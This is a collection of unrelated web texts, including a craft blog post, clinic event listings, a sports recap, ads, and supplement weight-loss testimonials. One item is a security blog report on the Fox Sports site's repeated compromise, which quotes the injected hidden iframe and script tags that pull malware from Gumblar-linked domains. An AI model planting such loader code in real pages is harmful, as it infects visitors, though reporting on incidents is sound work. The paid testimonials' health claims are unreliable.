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Hi Friends! It's a beautiful Saturday here in NH! It's sunny, a bit coolish and I'm loving this weather! I sat outside with my dog this morning and the sun was so nice and warm. If I hadn't had so much to do, I would've sat there much longer. I hope you all are enjoying a beautiful fall day wherever you are!
Today I worked on a "thank you" card utilizing some fabric scraps and bits of lace left over from other projects. I really enjoy small projects like this and it takes me right back to school projects waaay, waaaay back in the day. I remember hoping the teacher would say those three little words that made me ever so happy!!! "Make a collage". I was all over those kinds of projects and I spent hours making them perfect in every way!
Now I prefer the look of not exactly perfect....and I very much appreciate the handmade goodness of handmade items. I always have. I remember loving the beautiful dresses my mother sewed for me in grade school.....and if there were dainty lace edgings on them, I jumped for joy! Anyways....
I began this card by placing a square piece of fabric onto the cardstock a bit off center. I stitched it on with a zig zag stitch to secure it. Next I cut a piece of wide lace and stitched it to the left side of the fabric. I added the bottom lace and tucked the edge under the wide lace to overlap the left edge. I added laces to the right side and top as well.
I cut some ecru fabric strips with pinking shears and stamped "thank you" and "dear friend" on to them. Then I stitched them on with a zig zag stitch. The last step is tying a piece of seam binding into a bow. I attached the bow with a small amount of hot glue. After adding some thread to an ivory button, I tied it in a knot and added the button with a dab of hot glue.
This was fun!....and quick.....and it's already been taken away by the mailman.
This is one that I did earlier in the week. This one was a bit less work because I did not use lace on the edges.
I love shades of red and green....reminds me of Christmas!
This card has also been sent off in the mail....I have a few more to make and I have a huge stash of fabric scraps, lace bits and ribbon pieces to choose from. If a scrap is at least as big as a postage stamp, I keep it!
Enjoy the rest of your weekend!


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- Dr. Henshaw to talk at Ridgefield Library on Running Strong to Avoid Common Injuries. (Event will be rescheduled) February 19, 2020
- Dr. Fletcher to talk at Norwalk Senior Center on Total Joint Replacement November 19, 2019
- Dr. Dunleavy to talk at Ridgefield Library on Facts, Fads and Fiction about Joint Replacement Surgery October 18, 2019
- Dr. Ganal to talk at Ridgefield Library on Navigating Injury Prevention and Care for the Young Athelete September 10, 2019
- Dr. Dunleavy to discuss new/upcoming total joint replacement surgeries, methods, and technology in Ridgefield May 07, 2019
- Dr. Ciminiello to lecture on Safety to Ridgefield Little League March 26, 2019
- Dr. Ganal to speak at SCOR Parent Meeting March 06, 2019
- PANEL & LUNCH: Living Pain Free: Bone & Joint Care with Drs. Deveney, Dunleavy and Paul at Oxford Senior Center October 15, 2018
- Dr. Sealey to speak at The Watermark at East Hill October 13, 2018
- Drs. Mulieri and Patel to speak at The Watermark at East Hill October 01, 2018
- LUNCH & LEARN: Hip & Knee Surgeon, Dr. John Dunleavy, to Discuss Modern Day Orthopedic Advancements at River Glen Center August 31, 2018
- PANEL & LUNCH: Latest in Surgery, Rehab plus more at The Watermark May 28, 2018
- Please Join Us for Our Ribbon Cutting Ceremony! December 07, 2017
- Hip Replacement Specialist to Discuss New Techniques at River Glen Center June 29, 2017
- Robotic Total Joint Replacement September 18, 2014
- What's New In Joint Replacement June 10, 2014
- Danbury Orthopedics is a Proud Sponsor of the Mad Dash Adventure Race June 02, 2014
- The Hip Bone Is Connected to the Ankle Bone October 24, 2013
- Dr. Sealey, Foot & Ankle Specialist, to speak March 28th on Foot & Ankle Sports Injuries March 12, 2013
- Jan 29th: Dr. Deveney to speak at River Glen in Southbury on Joint Replacement Surgery January 29, 2013
Seminars & Events
Concussion Management Program on Thursday, September 6th, 7:30-9 pm at RHS
- Details
- Published: September 05, 2012
- September 06, 2012
Concussion Management Program on Thursday, September 6th, 7:30-9 pm at RHS, presented by Dr. Michael Brand, Orthopedic Surgeon and Sports Medicine Specialist, Dr. Neil Culligan, Neurologist and RHS Athletic Director, Carl Charles
Dr. Michael Brand of The Sports Medicine Center at Danbury Orthopedics, and Dr. Neil Culligan of Associated Neurologists will speak Thursday night on current concepts in the treatment of concussions in high school athletes. The presentation, which is open to the public, will take place at the RHS Auditorium at 7:30 pm.
The presentation will address recent developments in the diagnosis and care of head injuries, prevention techniques, potential complications, on field and return to play considerations, as well as the role of neurocognitive testing.
Dr. Michael Brand, Sports Medicine Specialist, Knee and Shoulder Surgeon and RHS Team Physician, works closely with the high school's Athletic Department and Athletic Director, Carl Charles, to implement programs to provide a safe environment for the school's athletes, including working with the coaches and trainers to determine when it is safe for student athletes to return to play after sustaining a head injury or concussion.
Dr. Neil Culligan has expertise in neuromuscular disease and vascular neurology, and recently established the Western CT Concussion Center at Associated Neurologists. The Center provides a multidisciplinary approach to concussion treatment, including diagnosis, cognitive testing, guidelines for school or work and rehabilitative services.
Parents of high school athletes will find this presentation especially informative. Contact information for the physicians can be found on their websites: for Dr. Brand and Danbury Orthopedics at www.myorthoct.com, and for Dr. Culligan and Associated Neurologists at www.associatedneurologists.org.

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In October of 2009 the Fox Sports web site was found to have been compromised with an iframe that redirected visitors to a site hosting malicious content. The affected URL was hxxp://msn.foxsports.com/fantasy/baseball/hotstreak/external and an example of the injected code is below:
<iframe src="hxxp://thingre.com/in.php" width="1″ height="1″ style="visibility:hidden;position:absolute"></iframe>
Anyone who accessed this site while the malicious code was active could potentially have had their computer infected with malware. Fox Sports administrators eventually removed the iframe, but today the same page was infected again. This time the below two script tags were injected:
<script src=hxxp://akcworld.com/genco/fusion-request-a-password.php ></script><body topmargin="0″ leftmargin="0″ marginheight="0″ marginwidth="0″>
<script src='hxxp://nt002.cn/E/J.JS'></script>
These same two scripts were also used in the October Fox Sports web site compromise incident. The akcworld.com and nt002.cn domains are widely known to host malicious content and are frequently used as part of the Gumblar campaign. At approximately 9:50pm I checked the Fox Sports web site to verify if the page was still infected. It was not. I then checked the page information and saw that it had been modified at 9:39pm EST, just 10 minutes before I checked the site.
The Fox Sports administrators moved very quickly this time to rectify the site compared to the October incident which nearly two weeks to address. However, this situation obviously begs the question how the Fox Sports web site keeps being compromised. I can think of several possibilities that would explain how this could occur: 1) The hackers installed a backdoor that they continue to use for access 2) The hackers continue to use compromised credentials to the web site 3) A vulnerability exists in the web site that has not been remediated 4) Fox Sports administrators restored an older version of the page that included the malicious code from the October hack. We won't likely learn the root cause of this compromise any time soon, but it is certain that unless Fox Sports takes preventative action, it will probably occur again.


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Hand-painted clay roof tile wall hanging painted by a well known Mexican artist depicting cabins by a stream with sheep grazing on the other side. A majestic volcano is in the background. The colors in this painting are fabulous.
Terracota concave tile measures 6"w x 15"h x 2"d and weighs 24.80 ounces. It has a rope for hanging. These tiles look great in an entryway when hung in multiples.


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PAINESVILLE, OHIO – Lake Erie College (7-5, 2-3 GLIAC) never trailed en route to its second straight GLIAC win, 71-57, over Ohio Dominican University (3-10, 0-8 GLIAC) at Alumni Hall in Columbus, Ohio.
The Storm has now two straight games overall and four of their last five contests.
Lake Erie was led by sophomore guard Riley Thomas (Cardington, Ohio/Cardington-Lincoln) with 16 points on six-of-nine shooting. Guard play was the key to the win for the Storm as 56 of their 71 points came from the backcourt. Senior Brandon Smith (Bedford, Ohio/Bedford/Cuyahoga Community College) added 11 points while sophomore Nate Tait (South Euclid, Ohio/Brush/Alderson-Broaddus) came off the bench to score 10. Morgan Jones had a game-high 20 points for the Panthers.
Lake Erie shot a season-high 59.2% (29-of-49) from the field while ODU went 23-of-49 (46.9%).
Sophomore center Rich Austin (Cleveland, Ohio/St. Ignatius) scored the game's opening bucket as the contest stayed close in the early going. ODU tied the score at 12-12 nine minutes in before a Tait jumper and a three-pointer by redshirt freshman guard Jamil Dudley (Massillon, Ohio/Massillon) gave the Storm a 17-12 advantage. A key stretch occurred over the final 5:30 of the half as Lake Erie's defense locked down and held the Panthers to just two points. Smith scored the final five points of the half as the Storm took a 33-24 lead to intermission.
Lake Erie's lead extended to double-digits for the first time with 15:53 to play on a Thomas layup. The Panthers answered with a layup but the Storm put their lead into double digits for good with a Smith layup to make the score 41-31 with 14:37 to go. The Green and White kept their foot on the petal as the lead reached 20 points at 9:09 after a layup by junior center Jordan Baker (Erie, Pa./McDowell) and reached a game-high 22 points at 4:42 when a Tait three-pointer made the score 64-42. ODU went on a 13-2 run to cut the deficit in half with 1:24 to play but Lake Erie scored the next five points to put the game away for good.
The Storm return to the Jerome T. Osborne Family Athletic & Wellness Center for four straight games, beginning Thursday when they face No. 17 University of Findlay at 8:00 p.m.


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Preferred Lender
David KrushinskyBranch Manager
I am a Licensed Mortgage Consultant that is extremely passionate about my profession. Guided by a personal mission to teach, inspire and lead my clients, I take an all-encompassing approach to the loan process and devise a financing strategy to work with each client's short and long term financial goals.
While attending college in the 90's, I worked in the construction industry. Once building homes for buyers of varied financial backgrounds, I now walk clients through the arduous mortgage loan process and help fulfill dreams of homeownership.
I joined the mortgage industry in 2002 and have steadily earned recognition for my stellar work performance. I have been consistently recognized for successfully closing the most loans on numerous occasions and been ranked in my company's internal top ten performance list with more than $200 million in mortgages funded. I am happy to say that I have achieved these goals while proving a superior level of customer care to my borrowers. After becoming a branch manager, I was also able to assist other loan officers in reaching their goals.
The same deep-rooted interest in financial markets that led to my career as a mortgage professional has also led me to seek out additional knowledge and training to share with my clients. I lecture on the subject of mortgage planning and payment options to suit an array of financial needs especially benefits to first-time homebuyers.
I was born and raised in Phoenix, AZ and currently reside in Peoria with my wife and daughter. I enjoy hiking, running, boating and almost any outdoor activity.
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Tens of thousands of New York welfare dollars have been accessed from ATMs in liquor stores, strip clubs and even Atlantic City casinos, a News 4 I-team investigation has found.
Now Congress has passed a law that would ban such withdrawals. The ban, part of the payroll tax cut bill, is awaiting President Barack Obama's signature.
The I-team sifted through records of more than seven million ATM withdrawals in which money was obtained using an Electronic Benefits Transfer, or EBT, card.
The cards are used to access food stamp and other cash benefits in order to help New Yorkers buy basic necessities like groceries, diapers, clothes, and shelter.
For some New Yorkers, EBT cards can also be used to access designated amounts of cash via ATM.
The I-team found more than $95,000 withdrawn in Atlantic City over nearly two years, much of it in casinos like the Trump Taj Mahal, Caesar's Palace and The Borgata.
The New York State Office of Temporary and Disability Assistance, which administers Food Stamps, had no official comment, but in the course of the I-team's reporting, a spokesperson said having unrestricted EBT cards makes sense as the most efficient way to distribute food and cash assistance.
The welfare office also argued the amount of money withdrawn from casinos is minor when compared to the total pool of benefits spent on food assistance, a majority of which is used as intended.
During congressional debate on a proposal to ban the use of EBT cards at casinos, strip clubs and liquor stores, some Democrats argued that restricting the cards would be punitive and ineffective.
Despite objections, the law overwhelmingly passed the U.S. House.
Aside from casinos, the I-team found thousands of dollars withdrawn from ATMs at addresses tied to liquor stores and strip clubs. The most popular strip club for ATM withdrawals was a gentleman's club called "Perfection" in Woodside, Queens.
Joel Berg, Executive Director of the New York City Coalition Against Hunger, said there are lots of reasons a responsible welfare recipient might access cash at an ATM inside a liquor store even though she or he has no intention of buying alcohol.
"There may be an ATM in a bodega that has a higher fee than an ATM in a liquor store and I hope most of your viewers would say the responsible thing for a low-income person to do would be to go to the ATM with the lower rate," Berg said.


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6th Grade Pattern Desgn
This project integrates math and art together to create an art design
Content Objectives:
Students will:
1. Discuss the idea of pattern and line.
2. Create 4 different patterns for a cohesive
3. Complete entire mathematical design according handout.
Pencil, markers, pattern handout, scissors, construction paper for mounting
Language Objectives:
Students will:
1. Students will listen to instructions as well as having visual examples to understand the art making process.
2. Students will need to use key vocabulary words during the evaluation process in order to discuss their design
1. Color: To see color, you have to have light. When light shines on an object some colors bounce off the object and others are absorbed by it. Our eyes only see the colors that are bounced off or reflected.
2. Line: An element of art defined by a point moving in space.
3. Shape: An enclosed space
4. Pattern: A repetition of an element in a work of art.
5.Sequence: To arrange in a particular order


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Wednesdays, 7:00-9:00 pm ET
Jan. 24 – May 2, 2018
▪ Emphasis on Speaking the Language.
▪ For all College and Graduate Students, who may have had a German reading and translating course and now desire to use the language actively, or for any motivated high school student or other adult desiring speak in the language.
▪ Online course in "real time." Students log on at specific times and interact directly with the Instructor. Access to the Internet required.
▪ No previous language knowledge required. For those without prior knowledge, the time commitment, including instruction, is 8-10 hrs/week; for students with a background in the language, approx. 4-6 hrs/week.
▪ Textbook: German Made Simple, A. Leitner. ISBN: 978-0-7679-1860-2. Cost: $13.99. Further resources will be provided at no cost.
▪ 26 hrs. of instruction. During each 2-hr. session only German will be spoken, responding to the dialogues in the textbook. Goal: to cover the equivalent of ½ yr. of college German in terms of speaking ability. Instructor's Background: 6 years of graduate study at a German university; 10 years of teaching the intensive German course to graduate students in NYC area, and 9 yrs. online.
▪ Limited Space Available: max. class size is 15. Early Bird registration option: full payment by Jan. 1, 2018 for a total fee of $375. Registration and payments may be made online, at the website below. Lenient refund policy: refund of $375 ($300 for EB registrants) if student withdraws within 2 weeks, by February 2, 2018. Details on Enrollment Form.
Application Deadline: January 15, 2018
Erasmus Academy Admissions Office
320 7th Avenue #101, Brooklyn, NY 11215


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The area is steeped in history and there are endless nooks and crannies waiting to be explored. For instance on 20 September 1746, following the failure of the 1745 Jacobite rising, Bonnie Prince Charlie left Scotland for France from Borrodale Beach, just below the house. The cave in which he took refuge on his last night in Scotland can be found within a stones throw of the house.
It was just over 100 years later in 1863 that F D P Astley, an enlightened and wealthy Industrialists from the Midlands, commissioned Philip Webb, the "Father of the Arts and Crafts movement," to build a Shooting Lodge amid this spectacular West Highland scenery and to include terraced gardens. During the Second World War Arisaig House became the headquarters to the Special Operations Executive who took over the area to run paramilitary training to prepare agents for missions in Occupied Europe. Plans of how the house was used are still in Arisaig House.


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Many people are discovering the power of the BulaFIT Program and awakening their own inner warrior to reshape their lives! Here are some of their experiences.
Typical weight loss is 1-2 pounds per week. Please note that the causes for being overweight vary from person to person due to genetics, environmental factors, food intake, metabolism and differing levels of exercise. Because of this, results from the BulaFIT Program may vary. No individual result should be seen as typical.
The experiences mentioned are from Independent Ambassadors who have personally used the BulaFIT Program and products. Ambassadors may receive compensation from Bulavita for sharing and promoting its products and services.
Tineleti Tau - 63 lbs
Fat Loss Champion
"I will admit it has been hard, but easily done. I stuck to the supplement plan and implementing the Keto diet in my meals, and man the ponds just came off.. I am really ecstatic about Wakaya and how it has made me feel."
Melissa Emery - 95 lbs
"Wow I kinda feel that everyone has won just seeing all the posts!! I think the most challenging thing was weighing every day. I will say that I weighed on Thursday since that was the last day. Since then I am down another 5lbs and actually ran all 5K without having to walk!! I can't even express how much more energy I have and love working out! I would have never said that 6 months ago. It has become routine for me and I feel so much better now than I did even 6 months ago. I am so glad I kept track every single day my weight and waist because looking back I can see the difference even when it seemed I wasn't making any progress, I was. Thank you for showing me that this is my new lifestyle and there is no going back to that person I was before."
Heather Corsivo - 46 lbs
"Our products are easy to follow and lose the weight! Getting tempted to eat regular food around special events is hard, especially my birthday!"
Julie Milbrett - 93 Workouts Logged
"On a personal level, the overall BulaFIT experience has been quite the reward. My energy has increased, my fatigue is diminished, and my personal health is through the roof."
Hillary Skye - 34 lbs
"I am feeling fantastic. I have reached the 34 mark and am super excited about that! I went on maintenance keto for about 5 days and reintroduced some carbs and was feeling very emotional and just off. So, I have decided to lose about 6 more pounds and am back on strict keto and am feeling amazing again."
Cathy Buchanan - 91 Workouts Logged
"Beyond blessed by this whole journey and all the support of so many to help make this, almost 60 year old, gals goals and dreams possible! ...My heart is helping others. If I can inspire ONE person to 'get moving', I will be overflowing with joy! The message I want to share is we no longer need to let our diseases/conditions define or limit us! During the Challenge, I have had a number of people reach out to me sharing that I have inspired them to be active and start moving knowing my physical challenges. Those messages have inspired me to not give in and to keep pushing through. This would never have happened without the support we all receive along with the products that make it possible to stay on track, motivated and determined!"
John Beddall - 60 lbs
"I had failed at so many diets before this. While I know there's no "magic pill" having the right tools in your toolbox can make all the difference! Eating the ketogenic diet, exercising as directed by our fitness expert, Owen McKibben, and following the BulaFIT program, I have been able to lose weight that I never thought possible. To say this program has changed my life would be an understatement. Every aspect of my day is different now. I feel amazing when I wake up, I'm not exhausted in the middle of the afternoon, I have the energy to play with my kids in the evening, and I still feel so good at night I get a restful and peaceful night sleep. I would recommend this program to every single person who desires to lose weight and be healthy."
Melissa Emery - 82 Workouts Logged
"I was the girl who came home from work and either laid on the couch or in bed with all the lights off and watched TV feeling depressed (even though I didn't think I was depressed or even had a problem). And now I get up at 5:30 and run 5 miles every morning (sometimes I have to take a break and walk fast during that 5 miles) but am getting much better at running! I never dreamed that I would be able to do that. I do Owens workout at night and find myself doing squats and push-ups at work when things are slow. I am eating a Ketogenic diet and feel this has been more of a lifestyle change than a diet. I lost a total of 44lbs and since the last fat loss challenge have lost 112lbs since I started this. I lost 26.5 inches and 2.5 inches off my neck!... Love this company and the quality of products that it puts out!! Amazing 90 days!! Thank you so much!"
Glenda McDougal - 57 lbs
"There aren't enough words to convey my story. I incorporated a wonderful change in diet by removing rice, potatoes, pasta, bread and sugar from my diet. A change that I thought would be difficult but turned out to just be different. I did moderate exercise but will incorporate more in the future to maximize tone and building muscle. This program was incredible and I recommend it to everyone I can!"
Susan Luelf - 61 Workouts Logged
"Started the Keto Diet and using the Bulafit Keto Products in mid-Feb and the majority of my weight loss occurred through June. I wanted to do the Fitness Challenge and firm up and get in better shape."
Patti Gardner - 25 lbs
"The shake is delicious and following the BulaFIT diet and exercise program is so easy!"
Dana Bedford - 54 Workouts Logged
"When I started BulaFIT I was headed for 300 lbs easily! I was moody frustrated with everything!...Day one I went thru my refrigerator and my pantry threw out everything with sugar. Removed everything with carbs. Wrote down my goals and took the products and followed the program. Results came gradually then a plateau. I then got the BulaFIT DVDs and no more plateau! My body was adjusting and transforming! I was sleeping better, feeling better, my mind was so clear! After having 5 surgeries last year feeling a wreck BulaFIT had me feeling like I'm 20 again! I love the lifestyle and the community! The products are great quality and they support the lifestyle perfectly!"
Mike Casperson - 43 lbs
"The keto shake is delicious and I was surprised that I could feel so good while 'dieting.' As I added other products and exercise I was surprised again how quickly my body started to change. This is truly is the 'feel good' diet!"
Ezinne Nnorom - 52 Workouts Logged
"For almost 2 years, my weight just continued to increase. I exercised and thought I was eating ok but the scale just continued to move in the wrong direction. During my visit home for the holidays in Dec of 2016, I was at my highest weight of 182.8Ibs and all I could think of was "That's nearly 200Ibs" I already had muscle but gained more fat on top of that. I was use to being in the mid 150s and knew at that point I wanted to change that. So BulaFIT came along in Feb 2017 I started in March and I made it a goal to get back in the 150s. Since then, I have been able to lose a total of 34.2lbs. 34Ibs that most didn't believe I needed to get rid of. I lost 16.8Ilbs in the 1st challenge and 17.4 more during the Fitness Challenge. I started to pay more attention to my diet, embraced the Keto lifestyle, and kept exercising. The program has forever changed my thinking on weight and fitness. I feel as though BulaFIT is the blueprint to burning fat and believe anyone struggling to get the scale to move should give it a try. I'm glad I did! It has been worth it!"
Carolyn McKeachnie - 50 lbs+
"I started following the Wakaya weight-loss system early in 2016 and lost 50 lbs! I began feel better quickly. Exercise became less of a chore and I am so happy with the results! Now, with the BulaFIT program, I've lost another 14 lbs!"
James Stone - 51 lbs
"In my younger days, I was physically active everyday. As I began to work on my career and go back to school, fitness took a backseat. The pounds began to add up, and physical activity became harder and less desirable to do.
Wakaya Perfection came into our lives about a year ago. I began to notice feeling better just taking the ginger and turmeric. I started the BulaFIT program right after SuperBowl, using the shake and burn capsules. My wife and I started on a keto diet. The weight came off almost effortlessly. This made it easier to stick with it & even start exercising again. I ran on the elliptical almost daily & did some ab work. I have so much more energy. I believe this program is the best there is- it really has been easy!"
Sonny Makasini - 48 lbs
"I absolutly love the BulaFIT Program! It has completely transformed my life. My body was miserable and now it's happy to match my happy personality. The program works because it delivers in all areas: diet, exercise and nutrition. I haven't felt this young in years!"
LaNae Crain-Schmidt - 47.2 lbs
"HOLY COW!! I made my goal!! I can't believe it!! I have never been able to reach a weight loss goal - EVER!! I drink one shake a day, sometimes 2, and then eat a sensible Keto meal for supper. I take 2 Burn capsules split between the day. I have more energy which in return I am able to get up and move more throughout the day!! I just can't believe it!! Wakaya Perfection's BulaFIT Program is so easy to follow and do. I am just jumping around with joy!!"
Susan Huttenmeyer - 45 lbs
"It seems like I have been on a perpetual diet since I was about 9 years old. I feel like the BulaFIT Warrior Fat Loss and Fitness Program is a lifestyle I can live and maintain. By eliminating sugar, flour and starches while eating healthy fats and low carbs, I have experienced a reduction of inflammation and pain. This has assisted me in being able to become more physically active and greatly improved my energy and endurance."
Christopher Berger - 44 lbs
"Been a huge fan of this process. By far the easiest way I've ever lost weight."
Cheryl Kindrat - 43 lbs
"I move, swim, walk, eat and smile better!! I am a Keto lifestyle which has been easy to do once the sugar was out of my system. Jen has me taking the stairs and Owen has me making deposits into the fitness bank.. Walking to the bus stop and parking far away!! I just feel great all over!! Thank you Wakaya!!"
Lanie Dart - 54 lbs
"The BulaFIT program has been easy to follow. Who doesn't like bacon and butter right? The shakes make breakfast easy, and the cooking with high fat, a bit challenging at first, but worth it throughout. It's been amazing. The exercise was a bit hard at first, especially since I wasn't, and had not for years. Now it's part of my everyday routine."
Ella Jones - 33 lbs
"I am very excited to have lost 33 pounds in the BulaFIT Challenge! I was not on a restrictive diet but adopted a new lifestyle that has me feeling fantastic beyond words. I am gluten intolerant and the ketogenic plan greatly enhances what I was already doing. I believe myself to be a sugar-aholic, so going without sugar has helped me realize how bad sugar was making me feel and negatively impacting my life. I am a new person, inside and out, and I'm not done improving yet!
I have also learned that high impact exercise can be simple and quick. You don't have to spend hours working out to receive maximum results. Owen's workouts jumpstart your day and the effects last all day long. I am exercising more at 55 than I have my entire life. Thank you, BulaFIT and Wakaya Perfection!!"
Stacey Volden - 43 lbs
"Following the program has worked for me.
What has challenged me is not falling back into old habits especially when life got emotional."
Tina MaddoxJones - 43 lbs
"When I started the BulaFIT system, I honestly thought I would fail. I never thought that I would be, "that girl", the one who makes healthy choices and completely gives up one lifestyle for another. But the products are amazing... not only do they do what they said they would do, they make it EASY to want to do things "right"... I never once ever wanted to cheat myself, or thought I was being deprived of something I wanted or deserved. Fast forward 90 days, and I feel like a different person! I don't really care about the number on the scale, because my body has completely reshaped itself. I love that I am able to fit Owen's moderate exercises into my life, to create a new normal for me and my whole family! I can't wait to see what happens in the next 90 days, weeks, and months!!!"
Marcus Jones - 43 lbs
"This has been an awesome experience. I have not only gone back to a weight I was 10 yrs ago. Thanks to the BulaFIT program and the workouts by Owen. I have been able too keep it off and get to a more energetic healthier self. This was the easiest most effective fat loss system I have ever been on and I have been on just about all of them. Thank you"
Eric Manning - 43 lbs
"The Keto diet along with the shake has worked for me when nothing else has. It's been a challenge when all around you, others are eating what you can't, but this journey has been relatively easy."
Teri Bell - 43 lbs
"This has been challenging and rewarding all at the same time. This is a fully doable program. Even if I did not have the KetoFUEL and Burn Caps just doing the keto diet plan is a great plan to follow. And adding exercise back into my daily routine has been challenging someday but very rewarding. I plan to broaden my exercise as time progresses and as the weight comes off."
Marc Ballinger - 43 lbs
"So far so good. I have done Keto before but the Fuel and Burn have made it so much easier when it comes to hunger and cravings . As a teacher in a small district I have a ton of duties, coaching and sponsorships. The challenge has been staying true to a workout schedule."
Ben Keenan - 43 lbs
"I'm loving this lifestyle. All the time I am finding new Keto recipes. I don't feel like I have to stop this at all. Why would I change habits that make me feel this good. The only difficulty I have now is explaining to people why I am not eating the same food as them and finding polite ways to turn down food people offer me."
Tia Harrid - 43 lbs
"The BulaFIT program has helped me so much!! I have had great success in inches going from a size 14 to size 10. I have been doing Owen's 7 min workout a few times a week and recently started doing Zumba!! I take the stairs often now and park far away to get more movement in. I feel great and I don't feel deprived!!"
Vanessa Vargas - 43 lbs
"This has been such a life changing experience that I will forever continue. I never thought I would loss this much weight in such a short time frame and feel so great while enjoying amazing meals. I don't miss the foods I call "My Enemy". I have been able to confidently say no to foods I know aren't good for my body with no temptation to follow. I haven't found much of a challenge. Just being consistent with workout outs but as of lately I'm doing better and better. I'm so beyond grateful for Wakaya Perfection!"
Michele Voris - 43 lbs
"I'm in love with being healthy. Thank you to this 90 day program I am over my halfway mark reaching my health goals.
There is no stopping me now !"
Julie Milbrett - 43 lbs
"I've lost a total of 21 pounds and it hasn't been very long since my journey began. So thankful for these products, the leadership is amazing, our coach Owen is a huge supportive guru, and the accountability from the group is unmatchable. Wow! Everybody's winning in this fat-loss movement!! I love it!!!!"
Hollie Piotrowicz - 43 lbs
"I have had other diets work but took longer and way more work and I was starving. Don't get me wrong all progress is work but this felt way more reachable I am amazing and share with everyone how amazing I feel! Never leaving this lifestyle! Thanks Owen! I owe you 🙂 Wakaya and Blake Graham! You're all heroes to me to have my life back!! And this isn't the end, I'm going to lose 20 lbs more!!"
Annie Williams - 43 lbs
"Before BulaFIT I was considering Gastric Bypass surgery because I was in so much pain. I felt like there was nothing I could do to lose weight. My knees & body hurt so bad that I could barely walk let alone exercise. When I lost 10 lbs I was already moving better & feeling a difference. At 20 lbs I was feeling amazing. I was actually moving really well. 30lbs I got a gym membership & have started going regularly. Honestly, I will never eat the way I used to. Keto all the way. I'm excited for what's coming next! 199 here I come!"
Jody Pryor - 43 lbs
"Using the BulaFIT program I have consistently shed pounds of fat. Even when things slowed down, there was movement on the scales."
Michelle Syre - 43 lbs
"This has been amazing. I, and my family, are enjoying the Keto eating that we now do. No one is missing the bread or sugar. And I used to be addicted to sugar. We are exercising and moving more. I do Owen's workouts and walk on the treadmill. Thank you BulaFIT."
Julee Rodriguez - 43 lbs
"The BulaFIT program has been the most successful program I have ever used. I never though I could do any kind of low carb program, but this surprised me, and was easier than I thought. I already went to the gym before, but with the successful fat loss on this program I have been able to get further through my work outs without getting tired and uncomfortable due to excess fat on my waist. I have lost 10 inches on my waist and 31 pounds, and plan to keep going. Thanks BulaFIT!"
Maxandra Desrosiers - 41 lbs
"I feel lighter! My lower back doesn't' hurt, I can go up the stairs without losing my breath. I feel amazing!"
Martha Makasini - 42 lbs
"My testimony of the BulaFIT program is simple...it works! 90 days ago I was fat, depressed and even though I really wanted to lose weight I just kept gaining more. Now, I am much skinnier, happy and I know I can continue on this program not just until the weight is off but forever. I never want to go back to feeling as hopeless as I did before. Wakaya Perfection you saved my life with this BulaFIT Program!"
Monte North - 39 lbs
"BulaFIT Warrior Challenge program has helped me achieve a lifestyle I have always wanted and can now be able to have forever. Thank you very much Owen McKibbin and Wakaya Perfection."
Angelica Boykin-Pruett - 34.5 lbs
"15 min of walking a day. Light lifting towards the end. I have learned to view this lifestyle change as the tool to the new me!!!! I wouldn't change it for the world. I lost almost 35 lbs! And I loved it so much I started my own group with the wonderful new people who have came into my life thanks to BulaFIT. I view food as a label not as a calorie. Thank you Wakaya!! You have changed my life!!!"
Joaquin Chandler - 33.3 lbs
"With this challenge I have made it a must that I take 10K steps a day as well as staying on plan with the keto meals. Having a step tracker and finding challenges from the stepper groups keep me accountable for my daily steps. It even keeps me on track to hit the gym at least 5 days a week. This program has brought back the youth in me. I often find myself going and going with so much energy."
Megan Hansen - 32 lbs
"I have said before that my biggest challenge was learning what I needed to feed my body. Low carb was easy for me, but I had to learn what kinds of fats to put in my diet in order to lose more fat.
I enjoy being active and I have found that after losing more weight, the exercise was SO much easier! I look forward to the part in my day when I can run or do other exercises!
I am SO very thankful for the BulaFIT program and the success it has helped me attain!"
Mitzi Bradley - 31.9 lbs
"This program has helped me in so many ways. I have been able to get off prescription medications, lost weight, and helped overcome some self esteem issues. It has brought me back to life and given me joy back that had been gone for some time.
The Keto lifestyle way of eating has been a total change in how I ate before. It has given me energy which has helped me incorporate exercise to my daily life. I even participated in boot camp workouts.
I have a way to go to hit my goal and I am looking forward to participating in the next challenge."
Pat Evans - 31.8 lbs
"31.8 lbs down in 90 days. One would think this would not be an easy feat; but with the Wakaya Perfection BulaFIT Program, it was like taking candy from a baby. 1-2 shakes & Burn capsules daily with Ketogenic meals. Exercising as much as possible per fitness trainer Owen McKibbin. Results may vary."
Brent Hansen - 31 lbs
"The BulaFIT program made the transformation go extremely well. The Burn Capsules keep my energy high at all times and I absolutely had zero cravings. I used to be exhausted at the end of the workday but now I'm still full of energy. Now choosing to walk more at work instead of jumping in a vehicle. I used to get in about 3 miles but I am now getting between 8-10 miles each day."
Sarah Miller - 31 lbs
"I started this challenge 26 years old and a size 22. I've been bigger for most of my life, so I honestly thought that this was just how it was going to be. I've tried other programs, diets, calorie counting, excruciatingly painful workouts, and multi-day fasting and I could never lose more than a few pounds that always came back. I thought the issue was just me because so many other people saw great results with those products/methods. So when I saw that people I knew who had struggled with weight were losing with this BulaFIT program, my husband and I decided we'd give it a trial run. I was already use to disappointments at this point, so I figured I had nothing to lose and maybe, just maybe, I could lose some of this weight. The first month I dropped 20 lbs. Can you believe that? The next month I dropped 6 more inches from my waist. And the last month another 11 lbs. These results are so clear in the way my clothes fit (down three jean sizes), the way people look at me, and how much easier it is to fit in places, like seats at a movie theatre or airport. Most people who do not have wide hips, have no idea how painful these can be when you have to sit in them for a long period of time.
This plan was also easier than I expected and have endured before. No crazy hour plus long and incredibly intense workouts or extreme hungry from lack of enough food. I changed to the Keto diet to follow with the BulaFIT products, but that change was much easier than I thought it would be. And I did add the BulaFIT workouts, but I didn't feel drained afterwards. I am so thrilled to have a manageable plan to follow that has been working so well for so many people."
Shannon Kilgore - 31 lbs
"This program has showed me a whole new way to eat and feel satisfied eating good foods. I've been eating a Keto lifestyle incorporating KetoFuel and Burn. I've had energy to exercise and walk over 5 miles and it's wonderful!"
Scott Jurgensmeier - 30.1 lbs
"This has been the easiest program for me to lose weight on. Other ones, I am always hungry and craving things so they didn't work. With the BulaFIT program and the help from Owen and Jennifer, I am losing weight and know I will keep it off this time!!"
Joy Larson - 30 lbs
